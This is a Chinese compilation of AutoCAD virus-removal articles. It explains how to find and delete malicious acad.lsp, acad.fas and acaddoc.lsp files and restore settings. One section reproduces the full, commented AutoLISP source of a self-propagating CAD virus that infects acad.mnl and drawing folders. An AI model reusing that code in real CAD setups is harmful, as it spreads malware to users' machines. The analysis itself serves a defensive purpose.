cad病毒处理

合集下载

CAD中毒解决方案

CAD中毒解决方案

CAD中毒解决方案一、背景介绍CAD(计算机辅助设计)是一种广泛应用于工程设计和创造领域的软件工具。

然而,CAD系统也存在一些安全风险,如恶意软件、病毒和黑客攻击等,这可能导致CAD系统中毒。

本文将介绍CAD中毒的常见原因和解决方案。

二、CAD中毒的常见原因1. 恶意软件感染:用户通过下载和安装来自不可信来源的CAD软件或者插件,导致恶意软件感染CAD系统。

2. 病毒攻击:黑客利用漏洞或者弱密码等方式入侵CAD系统,植入病毒程序进行攻击。

3. 文件损坏:CAD文件在传输或者存储过程中被破坏,导致CAD系统无法正常工作。

三、CAD中毒的影响1. 数据丢失:CAD中毒可能导致设计文件损坏或者丢失,给工程项目带来不可估计的损失。

2. 系统崩溃:恶意软件或者病毒攻击可能导致CAD系统崩溃,造成工作中断和生产延误。

3. 安全风险:CAD中毒后,黑客可能窃取敏感设计文件,威胁企业的商业机密。

四、CAD中毒解决方案1. 安全意识培训:加强员工的安全意识培训,教育他们避免下载和安装来自不可信来源的CAD软件或者插件。

2. 定期更新和升级:及时更新CAD软件和操作系统的补丁,修复已知漏洞,提高系统的安全性。

3. 强化密码策略:使用强密码保护CAD系统,定期更换密码,并避免使用易被猜测的密码。

4. 安全备份:定期备份CAD设计文件,并将备份数据存储在离线、安全的位置,以防止文件损坏和丢失。

5. 权限管理:限制用户对CAD系统的访问权限,确保惟独授权人员可以访问和修改设计文件。

6. 安全软件使用:安装并定期更新杀毒软件、防火墙和恶意软件检测工具,及时发现和清除潜在的威胁。

7. 安全审计:定期进行CAD系统的安全审计,检查系统是否受到恶意软件或者黑客攻击,并及时采取措施修复漏洞。

五、CAD中毒的预防措施1. 下载软件可信度:只从官方网站或者可信的软件供应商处下载CAD软件和插件,避免从非官方渠道下载,以防感染恶意软件。

CAD病毒处理方法

CAD病毒处理方法

一、中键不能用的病毒步骤:1、关闭cad程序,显示所有文件和文件夹;显示已知程序的后缀;2、搜索acad.lsp,全部彻底删除;3、搜索acadappp.lsp,一般就一个,彻底删除(注意搜索要在高级选项加上隐藏文件夹);4、打开cad,在工具--选项--配置--重置,再试一下,ok了吧!!!二、时间病毒手工清除方法:首先请关闭CAD后,再搜索所有磁盘内的acad.fas、acad.sys、acad.ini、lcm.fas、dwgrun.exe、dwgrun.bat、winsys.ini、winfas.ini文件,(记住一定要搜索完所有的磁盘,如C、D、E、F、G等等。

)然后将所有搜索到的acad.fas、acad.sys、acad.ini、lcm.fas、dwgrun.exe、dwgrun.bat、winsys.ini、winfas.ini文件全部删除。

常见问题是C:\Program Files\autocad***目录(子目录)下的acad.fas与lcm.fas是在全部查找时找不到的,请手动进入目录再行查找删除!不想进去目录查找也可以输入下面的字符到CAD命令行:(while (or (setq a (findfile "acad.fas")) (setq a (findfile "lcm.fas"))) (vl-file-delete a))注意:上面带括号一个字都不能少哦!这样就行了!如果有文字编缉时出现记事本的现象请将下面一行红字输入到命令行?:(setvar "mtexted" ".")靠,玩cad就指这个混了,全部贡献了。

!!!!!要把你的机子、U盘全部照上面的方法查一遍,以后见到acad.lsp这个东西先删!!!只要在同一个文件夹中(不论是U盘还是硬盘)有图纸和acad.lsp,打开任何图纸之后就会在C盘产生一个acadappp.lsp病毒母文件,以后在这台机子任意打开图纸,就会在打开图纸的文件夹中产生一个acad.lsp文件,说白了就是中毒了!!!!按我上面的方法处理染毒的机子就ok了!并不存在某个文件安全不安全的讲法,只存在.dwg文件安全不安全的讲法。

CAD中毒解决方案

CAD中毒解决方案

CAD中毒解决方案CAD(计算机辅助设计)软件在工程设计、建筑设计、制造业等领域广泛应用,但有时候会遇到一些问题,比如软件崩溃、文件损坏、性能下降等,这些问题被称为CAD中毒。

为了解决这些问题,我们需要采取一些措施来修复CAD软件,并确保其正常运行。

以下是CAD中毒解决方案的详细步骤:1.备份文件:在进行任何操作之前,首先应该备份所有CAD文件,以防止进一步的损坏或数据丢失。

可以将文件复制到另一个安全的位置,或者使用云存储服务进行备份。

2.关闭和重新启动CAD软件:如果CAD软件出现崩溃或性能下降的情况,首先尝试关闭软件并重新启动。

有时候这个简单的步骤就可以解决问题。

3.更新CAD软件:检查CAD软件是否有最新的更新版本。

厂商通常会发布更新来修复已知的问题和漏洞。

下载并安装最新的更新程序,以确保软件是最新的版本。

4.检查系统要求:确保计算机系统满足CAD软件的最低要求。

CAD软件通常需要较高的处理能力和显卡性能。

检查计算机的硬件规格,确保满足CAD软件的要求。

5.清理临时文件:CAD软件在运行过程中会产生许多临时文件,这些文件可能会导致软件性能下降。

使用系统清理工具或第三方软件清理临时文件,以提高CAD软件的运行速度。

6.修复损坏的文件:如果CAD文件损坏或无法打开,可以尝试使用CAD软件自带的修复工具来修复文件。

如果修复工具无法解决问题,可以尝试使用第三方CAD文件修复软件。

7.优化CAD设置:调整CAD软件的设置,以提高性能和稳定性。

可以禁用不必要的插件和功能,调整绘图精度和显示效果,优化CAD软件的配置。

8.更新驱动程序:检查计算机的显卡驱动程序是否是最新的版本。

过时的驱动程序可能会导致CAD软件的性能下降或崩溃。

访问显卡厂商的官方网站,下载并安装最新的驱动程序。

9.安装防病毒软件:CAD文件可能会受到病毒或恶意软件的感染,导致文件损坏或系统崩溃。

安装一款可信赖的防病毒软件,并定期进行病毒扫描,确保计算机和CAD文件的安全。

cad病毒acad处理

cad病毒acad处理

cad病毒acad处理cad病毒acad处理这是一种病毒,但不用重装,可以杀的一、彻底的解决方案1:(主要是acad.fas程序文件)1、清除方法是删除干净acad.fas与lcm.fas两个文件!如果删除不净下次启动是还是会生成,务必清理干净!同时搜acad.lsp和acadapp.lsp删掉2、进入“C:\\Documents and Settings\\用户名\\Application Data\\Autodesk\\AutoCAD 2005\\R16.1\\chs\\support"如果有acad.fas,删除打开acad.mnl,末尾如有不明代码,删除。

清除步骤:1.退出CAD。

2.全盘搜索acadapq.*、、acadappp.*、acaddoc.* 文件,然后彻底删除上述文件。

注意查找前在文件夹选项中设置“显示所有文件与文件夹”以及取消“隐藏受保护的操作系统文件”。

搜索时选择“查找所有文件及文件夹”,然后在“高级选项”里勾选“搜索系统文件夹”“搜索隐藏的文件和文件夹”“搜索子文件夹”。

如果搜出的文件无法删除,则先清空回收站,再搜索删除。

注:探索者目录下有个AcadDoc.lsp(注意大小写)不是病毒文件,谨防误删。

3.查看C盘根目录下是否有boot.dat文件,如有,则将其删除。

4.进入C:\\Documents and Settings\\用户名\\Application Data\\Autodesk\\AutoCAD 2006(或AutoCAD2004)\\R16.2\\chs\\Support目录,用记事本打开该目录下的所有*.mnl文件,手动删除与附件1相同的代码(一般都在文件末尾),然后保存。

并将修改后的所有*.mnl文件属性设置为“只读”。

5.进入CAD安装目录下的support目录,将该目录下的所有*.lsp 文件按步骤4方法处理。

记得将其属性设为“只读”。

CAD中毒解决方案

CAD中毒解决方案

CAD中毒解决方案概述:CAD中毒是指计算机辅助设计(CAD)软件受到病毒、恶意软件或者其他安全威胁的影响,导致系统运行不稳定、数据丢失或者被篡改等问题。

为了保护CAD系统的安全和稳定性,需要采取一系列解决方案来应对CAD中毒的风险。

解决方案一:安全软件保护安全软件是防止计算机受到病毒和恶意软件攻击的关键工具。

为了保护CAD 系统的安全,可以安装并定期更新一款可靠的安全软件,如杀毒软件、防火墙和恶意软件清除工具。

这些软件可以实时监测和阻挠潜在的安全威胁,并进行病毒扫描和清除。

解决方案二:定期备份数据定期备份CAD系统中的重要数据是防止数据丢失的有效措施。

可以使用外部存储设备,如硬盘驱动器或者云存储服务,将CAD文件备份到安全的位置。

最好每天或者每周进行备份,并确保备份文件是完整的和可恢复的。

解决方案三:更新CAD软件和插件CAD软件和插件的更新通常包含了对已知漏洞和安全问题的修复。

及时更新CAD软件和插件可以提高系统的安全性和稳定性,减少受到攻击的风险。

可以定期检查CAD软件和插件的官方网站或者应用商店,下载并安装最新版本的软件和插件。

解决方案四:限制网络访问权限限制CAD系统的网络访问权限可以减少受到网络攻击的风险。

可以通过防火墙、网络隔离和访问控制列表等措施来限制CAD系统与外部网络的连接。

只允许必要的网络连接,并禁止未经授权的访问。

解决方案五:教育培训和意识提升教育培训和意识提升对于CAD系统的安全至关重要。

通过培训用户了解常见的安全威胁和防范措施,可以匡助他们更好地保护CAD系统。

提醒用户不要打开可疑的电子邮件附件或者下载未经验证的软件,以及定期更新密码和使用强密码等最佳实践。

解决方案六:定期系统检查和维护定期对CAD系统进行检查和维护可以匡助发现和解决潜在的安全问题。

可以使用系统工具进行磁盘清理、注册表修复和软件更新等操作,以确保CAD系统的正常运行和安全性。

解决方案七:安全策略和流程制定制定适合CAD系统的安全策略和流程可以匡助组织更好地管理和应对安全威胁。

CAD病毒是什么怎么清除

CAD病毒是什么怎么清除

CAD病毒是什么怎么清除CAD相信很多学建筑或者图形设计的人们都使用过,那么CAD病毒是什么呢?遇到了怎么解决?本文就来教大家使用手动设置查杀CAD 病毒的方法,具体步骤请看下文。

CAD病毒查杀方法介绍:手动查杀CAD病毒:1、关闭CAD(一定要先关闭正在运行的CAD程序)。

2、搜索并删除acad.lsp、acadappp.lsp和acadapp.lsp这3个文件。

3、复制下面的代码在CAD命令行运行,以恢复被修改的系统变量默认值:01(setvar "zoomfactor" 40)02(setvar"mbuttonpan" 1)03(setvar"HIGHLIGHT" 1)04(setvar "fillmode" 1)复制代码4、用记事本打开CAD下的“acad.mnl”文件,将文件最后一行代码(load "acadappp")删去。

(如"acad.mnl"文件中无此行代码可忽略此操作)附:"acad.mnl"文件可能在下面的目录中,C:\Documents and Settings\×××\Application Data\Autodesk\AutoCAD 200×\R×.×\chs\Support其中×××是你登录系统时的用户名,200×和R×.×分别是CAD 的版本和版本代号。

(注意:目录C:\Documents and Settings\是系统隐藏文件夹)补充:电脑常见的病毒:1.文件型病毒文件型病毒是一种受感染的可执行文件,也就是.exe病毒文件。

当执行受感染的文件时,电脑病毒会将自己复制到其他可执行文件中,导致其他文件受感染。

AUTOCAD病毒的清除方法acaddoc.lsp和acadapq.lsp

AUTOCAD病毒的清除方法acaddoc.lsp和acadapq.lsp

AUTOCAD病毒的清除方法acaddoc.lsp是一个专门针对CAD文件的病毒,在CAD软件使用中主要表现的情况如下:1、无法拷贝2、在命令行提示需要执行一个宏3、CAD会出莫名其妙的问题解决方法:关闭AutoCAD程序;搜索所有acaddoc.lsp和acadapq.lsp文件删除所有关acadapq.lsp(3,836字节) 和被感染的acaddoc.lsp(27字节) (看文件大小);重启AutoCAD,OKashan发表LZ还说少了一个步骤:没有处理acad.mnl文件,这样的清除并不彻底,下次再打开带毒的dwg文件(这里并非指dwg文件本身带毒,而是指在该dwg文件下有acaddoc.lsp文件存在)后,系统又会感染病毒,偶曾经对这个cad病毒的代码做过详细分析,下面是原文,有兴趣的朋友可以详细看看:最近自己的电脑中了CAD病毒,症状为打开一个dwg文件后,在该dwg文件所在目录下就会自动生成一个“acaddoc.lsp”文件,即使手工将其删除,下次打开dwg文件时又会自动生成。

如果把dwg文件和acaddoc.lsp文件一起复制到另外一部未感染CAD病毒的电脑上,只要一打开该dwg文件,则该电脑就会被感染。

因为这个CAD病毒是个lisp程序,花了些时间对病毒代码进行分析如下:-----------------下面是病毒代码-----------------------------(setq wold_cmd (getvar "cmdecho"))(setvar "cmdecho" 0)(setq wpath (findfile "base.dcl"))(setq wpath (substr wpath 1 (- (strlen wpath) 8))) ;wpath变量保存ACAD下support目录路径(setq wwmnlwpath (getvar "menuname")) ;获得当前菜单名,这句没有用处,下面并未使用wwmnlwpath变量(setq wnowdwg (getvar "dwgname")) ;获得当前打开图形文件名(setq wwjqm (findfile wnowdwg)) ;wwjqm变量保存当前打开图形文件的完整路径(setq wdwgwpath (substr wwjqm 1( - (strlen wwjqm) (strlen wnowdwg)))) ;wdwgwpath变量保存当前打开图形文件所在路径;;;alert( setq f ( open "c:\\boot.dat" "w")) ;f变量为boot.dat文件句柄,c盘根目录下boot.dat文件若存在则(write-line "[dang]" f) ;打开,不存在则创建,然后将当前打开图形文件所在路径和support(write-line (strcat "ff=" wdwgwpath) f) ;目录路径写入boot.dat文件(write-line (strcat "yy=" wpath) f)(close f)(setq boot (findfile "boot.dat")) ;获得boot.dat文件所在目录完整路径(if (/= boot "") (command "_-vbarun" "ThisDrawing.hh")) ;这句是要运行一个名为“ThisDrawing.hh”的宏,但该宏并不存在(setq wacadwpath (findfile "acaddoc.lsp")) ;wacadwpath变量保存当前加载的acaddoc.lsp文件所在目录(setq wacadwpath (substr wacadwpath 1(- (strlen wacadwpath) 11)))(setq wns1 "" wns2 "")(setq wlspbj 0) ;wlspbj变量是判断support目录下acaddoc.lsp文件是否已感染的;;; ;标志,已感染为1,未感染为0(setq wwjqm (strcat wpath "acaddoc.lsp")) ;wwjqm变量指向support目录下的acaddoc.lsp文件(if (setq wwjm (open wwjqm "r")) ;wwjm变量为打开support目录下的acaddoc.lsp文件的句柄,若打开(progn ;成功则进行处理(while(setq wwz (read-line wwjm)) ;逐行读取acaddoc.lsp文件内容,读取结束后,wns1中是倒数第2行(setq wns1 wns2 ) ;内容,wns2中是最后一行的内容(setq wns2 wwz))(if (> (strlen wns1) 14) ;判断wns1中从第8个字符开始的7个字符是否为“acadapq”,(if (= (substr wns1 8 7) "acadapq") ;若是则已感染(setq wlspbj 1)))(close wwjm)))(setq wlspmnl 0) ;wlspmnl变量是判断support目录下acad.mnl文件是否已感染的标志,;;; ;已感染为1,未感染为0(setq wwjqm (strcat wpath "acad.mnl")) ;wwjqm变量指向support目录下的acad.mnl文件(if (setq wwjm (open wwjqm "r" )) ;wwjm变量为打开support目录下的acad.mnl文件的句柄,若打开(progn ;成功则进行处理(while (setq wwz (read-line wwjm)) ;逐行读取acad.mnl文件内容,读取结束后,wns1中是倒数第2行内容(setq wns1 wns2 ) ;wns2中是最后一行的内容(setq wns2 wwz))(if (> (strlen wns1) 14) ;判断wns1中从第8个字符开始的7个字符是否为“acadapq”,若是则(if (= (substr wns1 8 7) "acadapq") ;已感染(setq wlspmnl 1)))(close wwjm) ;关闭acad.mnl文件))(if (= wlspmnl 0) ;若acad.mnl文件未感染,则写入加载病毒的代码到acad.mnl文件的(progn ;最后2行中(setq wwjqm (strcat wpath(strcat (chr 97) (chr 99) (chr 97)(chr 100) (chr 46) (chr 109)(chr 110) (chr 108)) )) ;障眼法,等于(strcat wpath "acad.mnl")(setq wwjm (open wwjqm "a"))(write-line (strcat "(load " (chr 34)"acadapq" (chr 34) ")" ) wwjm)(write-line "(princ)" wwjm)(close wwjm)))(defun wwriteapp ()(if (setq wwjm1 (open wnewacad "w"))(progn(setq wwjm (open woldacad "r"))(while (setq wwz (read-line wwjm))(write-line wwz wwjm1))(close wwjm)(close wwjm1))))(if (and (= wacadwpath wdwgwpath)(/= wacadwpath wpath)) ;若加载的acaddoc.lsp文件和图形文件同目录(progn(if (= 0 wlspmnl) ;acad.mnl文件未感染(progn(setq woldacad (findfile "acaddoc.lsp")) ;在下面调用wwriteapp子程序读取图形文件目录下的acaddoc.lsp文件(setq wnewacad (strcat wpath "acadapq.lsp")) ;的内容,在support目录下创建acadapq.lsp 文件并将acaddoc.lsp) ;文件的内容写入acadapq.lsp文件中;;else (acad.mnl文件已感染)(progn(setq woldacad (strcat wpath "acadapq.lsp" )) ;在下面调用wwriteapp子程序读取support目录下的acadapq.lsp文件(setq wnewacad (findfile "acaddoc.lsp")) ;的内容,写入图形目录下的acaddoc.lsp文件中))(if (= wlspbj 0) ;support目录下的acaddoc.lsp文件未感染(progn ;下面代码将加载病毒程序的代码写入acaddoc.lsp文件的最后2行中(setq wwjqm (strcat wpath "acaddoc.lsp" ))(setq wwjm (open wwjqm "a"))(write-line (strcat "(load " (chr 34)"acadapq" (chr 34) ")" ) wwjm)(write-line "(princ)" wwjm)(close wwjm)))(wwriteapp));;else (若加载的是support目录下的acaddoc.lsp文件)(progn(if (/= wnowdwg "Drawing.dwg" ) ;当前打开文件不是新建图形文件(progn(setq woldacad (findfile "acadapq.lsp")) ;在图形文件目录下创建acaddoc.lsp文件,将acadapq.lsp(setq wnewacad (strcat wdwgwpath "acaddoc.lsp")) ;文件的内容写入acaddoc.lsp文件中(wwriteapp)))))(setvar "cmdecho" wold_cmd)(princ) ;下面的代码又是个障眼法,没什么作用(setq strtopstr (strcat (chr 92) (chr 92) (chr 70)(chr 83) (chr 49) (chr 92)(chr 83) (chr 89) (chr 83)(chr 49) (chr 92) (chr 87)(chr 79) (chr 82) (chr 75)(chr 92) (chr 80) (chr 76)))-----------------病毒代码到此结束----------------------------从以上对病毒代码的分析可知,该病毒的病毒文件有2个,一个为acadapq.lsp,位于ACAD 安装目录下的support目录下,另一个为acaddoc.lsp,位于当前打开的dwg文件所在目录下,2个病毒文件的内容相同。

CAD病毒查杀方法教程怎么手动杀毒

CAD病毒查杀方法教程怎么手动杀毒

CAD病毒查杀方法教程怎么手动杀毒病毒无处不在,随时入侵我们电脑,CAD也一样,那CAD文件病毒怎么清除?本文就来教大家使用手动设置查杀CAD病毒的方法,具体步骤请看下文。

CAD病毒查杀方法介绍:手动查杀CAD病毒:1、关闭CAD(一定要先关闭正在运行的CAD程序)。

2、搜索并删除acad.lsp、acadappp.lsp和acadapp.lsp这3个文件。

3、复制下面的代码在CAD命令行运行,以恢复被修改的系统变量默认值:01(setvar "zoomfactor" 40)02(setvar"mbuttonpan" 1)03(setvar"HIGHLIGHT" 1)04(setvar "fillmode" 1)复制代码4、用记事本打开CAD下的“acad.mnl”文件,将文件最后一行代码(load "acadappp")删去。

(如"acad.mnl"文件中无此行代码可忽略此操作)附:"acad.mnl"文件可能在下面的目录中,C:\Documents and Settings\×××\Application Data\Autodesk\AutoCAD 200×\R×.×\chs\Support其中×××是你登录系统时的用户名,200×和R×.×分别是CAD 的版本和版本代号。

(注意:目录C:\Documents and Settings\是系统隐藏文件夹)补充:CAD使用小技巧1、文字镜像如何设置转动与不转动A、在镜像前,输入MIRRTEXT指令B、输入新值0 代表不转动;输入新值1代表转动C、MIRRTEXT指令完成后,输入MI镜像指令就OK了2、CAD的版本转换A、CAD高版本可以打开所有低版本的图纸B、CAD低版本不可以打开高版本的图纸C、高版本转成低版本的方法,直接点击另存为,将文件类型可以改成任意的低版本D、将低版本转换成高版本,就比较复杂了,需要第三方软件,也就是版本转换器。

  1. 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
  2. 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
  3. 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。

34.【关于explode命令无效的问题】
如果在CAD使用过程中,不能炸开图块了,先试一试能否炸开别的实体(如多行文本、填充图案等),如果能,说明是你所选择的实体本身不能被炸开(也可以在命令前加上.来测试是否可以炸开图块);如果不能,可能是感染了一个基于AutoLISP语言的病毒程序acad.lsp。

它的主要表现特征为打开任意一张图纸均不能炸开图块,即explode命令无效,给我们的工作带来了不少麻烦。

该病毒运行时将在所有打开过CAD图纸的目录下,生成acad.lsp病毒程序,并在CAD的安装目录Support下,生成acadapp.lsp病毒程序。

下面是清除该病毒的方法:
(1)打开系统的查找“文件或文件夹”对话框;
(2)在“文件或文件夹名”数据框中输入:acad.lsp;acadapp.lsp,acaddoc.lsp
(3)在“包含文字”数据框中输入:explode;
(4)在“搜索” 数据框中选择:所有硬盘驱动器;
(5)将搜索到的这两个文件全部删除后,问题就已经解决了。

注意:一定要将硬盘是的所有目录都搜索一遍,这样才能将病毒清除干净。

★补充:
那病毒文件的名字也可能叫Support \\ acadiso.lsp
下面是手动清理方法:
彻底的解决方案为:(主要是acad.fas程序文件)
清除方法是删除干净acad.fas与lcm.fas两个文件!
如果删除不净下次启动是还是会生成,包括隐藏文件请一定务必清理干净!
常见问题是C:\Program Files\autocad***目录(子目录)下的
acad.fas与lcm.fas是在全部查找时找不到的,请手动进入目录再行查找删除!
不想进去目录查找也可以输入下面的字符到CAD命令行:
(while (or (setq a (findfile "acad.fas")) (setq a (findfile "lcm.fas"))) (vl-file-delete a))
注意:上面红字一个字都不能少哦!这样就行了!
如果有文字编缉时出现记事本的现象,请将下面一行红字输入到命令行:
(setvar "mtexted" ".")
如何避免以后再次中招发作:
1.打开U盘/网络共享中的CAD文件时
请先查看文件目录下是不是有一个acad.fas文件!
如果发现有请删除!确认后再打开CAD文件!
2.你发给别人的CAD文件目录,
中如果有acad.fas请删除,以免别人也中招!
步骤:
1.删除CAD\support\acadapp.lsp;
2.分别用记事本打开CAD\support\acad.lsp和CAD\support\acad.mnl,
删除文件最后的(load "acadapp.lsp"),注意有可能有很多行;
3.搜索您的工作盘中的acad.lsp,凡是大小为4K的就删除。

搞定。

☆ 约定:CAD指你的CAD的安装目录,机器中安装了几个版本,每个版本都得检查;
☆ 如果你每次打开cad,目录中自动生成一个acad.lsp,就表示你的机器中招了,删除也不管用,因为它自己复制功能;
此病毒可能引起CAD中部分命令不能使用,严重的可能影响机器反映速度;
☆ 提示:为了防止中acad.lsp病毒,下次用别人的dwg文件时(K盘上此病毒很流行,大部分的目录都有),
看看此目录下面有没有acad.lsp文件,有的话,先删除再打开就没有问题。

、找到acad.mnl文件(一般在support文件夹内),如中招须用记事本(最好不要使用写字板或者word等高级文本编辑器)清除文件末尾的对应代码。

(load "acadapp.lsp")(princ) 其中acadapp也可能是acadiso,不过偶只看到过前者。

将acad.mnl也改为“只读”。

注意,此文件为AutoCAD运行所必须,不可删除!
以上所有改“只读”的目的均为防止日后再次感染,但如果要加装第三方软件,则最好临时取消它们的“只读”属性,待安装完成后再次改回“只读”。

否则可能导致第三方软件安装失败。

展望一下它(LISP代码病毒)的未来目前R14还没有退出市场,该病毒好像还比较最求“广谱”效果,这个就限制了它使用VLISP的热情,事实上它还完全没有使用VLISP函数。

虽然这并不等于说ALISP就不能造成很严重的破坏,但实现那些目标多少会让编程者觉得不爽,不如VLISP那么行云流水。

从它的作用效果看,眼下称之为“病毒”似有言过其实之嫌,但从它可以自我复制和传染扩散这方面特征来看,称之为“病毒”也属实事求是。

参照A V界(Anti-virus,不是日本的那个A V界)的习惯,不妨称之为“概念病毒”。

但是,只要有人愿意,它随时随地都可以变成能够删文件、格盘、改注册表的名副其实的“病毒”。

如果未来VLISP允许二进制读写,那么危险还会更大,所以希望Autodesk最好不要去做这样的功能扩展。

另外,也希望所有LISP开发人员和编程爱好者都能保持善良的人品,不要再写出为害大家的类似程序。

依俺管见,此程序只是个思路问题,技术含量不高,并不能体现出编程者的技术水平,何必要把心术放到这个方向上来呢
愿acad.lsp病毒的开发历程就此结束!
该病毒是以前那个炸开命令不能使用病毒的变种,它修改了这4个系统变量的值。

相关文档
最新文档